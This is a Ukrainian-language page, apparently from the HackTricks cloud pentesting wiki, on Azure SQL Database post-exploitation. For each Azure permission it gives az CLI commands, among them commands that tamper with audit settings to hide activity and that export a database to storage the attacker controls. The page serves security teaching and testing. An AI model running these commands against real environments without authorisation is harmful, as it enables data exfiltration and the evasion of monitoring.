6.5 KiB
Az - SQL Database Post Exploitation
{{#include ../../../banners/hacktricks-training.md}}
SQL Database Post Exploitation
Для отримання додаткової інформації про SQL Database перегляньте:
{{#ref}} ../az-services/az-sql.md {{#endref}}
"Microsoft.Sql/servers/databases/read", "Microsoft.Sql/servers/read" && "Microsoft.Sql/servers/databases/write"
З цими дозволами зловмисник може створювати та оновлювати бази даних у скомпрометованому середовищі. Ця діяльність після експлуатації може дозволити зловмиснику додавати шкідливі дані, змінювати конфігурації бази даних або вставляти бекдори для подальшої стійкості, що потенційно може порушити операції або дозволити додаткові шкідливі дії.
# Create Database
az sql db create --resource-group <resource-group> --server <server-name> --name <new-database-name>
# Update Database
az sql db update --resource-group <resource-group> --server <server-name> --name <database-name> --max-size <max-size-in-bytes>
"Microsoft.Sql/servers/elasticPools/write" && "Microsoft.Sql/servers/elasticPools/read"
З цими дозволами зловмисник може створювати та оновлювати elasticPools у скомпрометованому середовищі. Ця діяльність після експлуатації може дозволити зловмиснику додавати шкідливі дані, змінювати конфігурації бази даних або вставляти бекдори для подальшої стійкості, що потенційно може порушити операції або дозволити додаткові шкідливі дії.
# Create Elastic Pool
az sql elastic-pool create \
--name <new-elastic-pool-name> \
--server <server-name> \
--resource-group <resource-group> \
--edition <edition> \
--dtu <dtu-value>
# Update Elastic Pool
az sql elastic-pool update \
--name <elastic-pool-name> \
--server <server-name> \
--resource-group <resource-group> \
--dtu <new-dtu-value> \
--tags <key=value>
"Microsoft.Sql/servers/auditingSettings/read" && "Microsoft.Sql/servers/auditingSettings/write"
З цією дозволом ви можете змінювати або активувати налаштування аудиту на Azure SQL Server. Це може дозволити зловмиснику або авторизованому користувачу маніпулювати конфігураціями аудиту, потенційно приховуючи сліди або перенаправляючи журнали аудиту в місце, що знаходиться під їх контролем. Це може заважати моніторингу безпеки або дозволити йому відстежувати дії. ПРИМІТКА: Щоб активувати аудит для Azure SQL Server за допомогою Blob Storage, ви повинні підключити обліковий запис зберігання, куди можуть зберігатися журнали аудиту.
az sql server audit-policy update \
--server <server_name> \
--resource-group <resource_group_name> \
--state Enabled \
--storage-account <storage_account_name> \
--retention-days 7
"Microsoft.Sql/locations/connectionPoliciesAzureAsyncOperation/read", "Microsoft.Sql/servers/connectionPolicies/read" && "Microsoft.Sql/servers/connectionPolicies/write"
З цією дозволом ви можете змінювати політики підключення Azure SQL Server. Цю можливість можна використати для активації або зміни налаштувань підключення на рівні сервера.
az sql server connection-policy update \
--server <server_name> \
--resource-group <resource_group_name> \
--connection-type <Proxy|Redirect|Default>
"Microsoft.Sql/servers/databases/export/action"
З цією дозволом ви можете експортувати базу даних з Azure SQL Server до облікового запису зберігання. Зловмисник або авторизований користувач з цим дозволом можуть ексфільтрувати чутливі дані з бази даних, експортувавши їх до місця, яке вони контролюють, що становить значний ризик витоку даних. Важливо знати ключ зберігання, щоб мати можливість це виконати.
az sql db export \
--server <server_name> \
--resource-group <resource_group_name> \
--name <database_name> \
--storage-uri <storage_blob_uri> \
--storage-key-type SharedAccessKey \
--admin-user <admin_username> \
--admin-password <admin_password>
"Microsoft.Sql/servers/databases/import/action"
З цією дозволом ви можете імпортувати базу даних у Azure SQL Server. Зловмисник або авторизований користувач з цим дозволом може потенційно завантажити шкідливі або маніпульовані бази даних. Це може призвести до отримання контролю над чутливими даними або шляхом вбудовування шкідливих скриптів або тригерів у імпортовану базу даних. Додатково ви можете імпортувати її на свій власний сервер в Azure. Примітка: Сервер повинен дозволяти доступ до сервера для служб і ресурсів Azure.
az sql db import --admin-user <admin-user> \
--admin-password <admin-password> \
--name <target-database-name> \
--server <azure-sql-server-name> \
--resource-group <resource-group-name> \
--storage-key-type SharedAccessKey \
--storage-key <storage-account-key> \
--storage-uri "https://<storage-account-name>.blob.core.windows.net/bacpac-container/MyDatabase.bacpac"
{{#include ../../../banners/hacktricks-training.md}}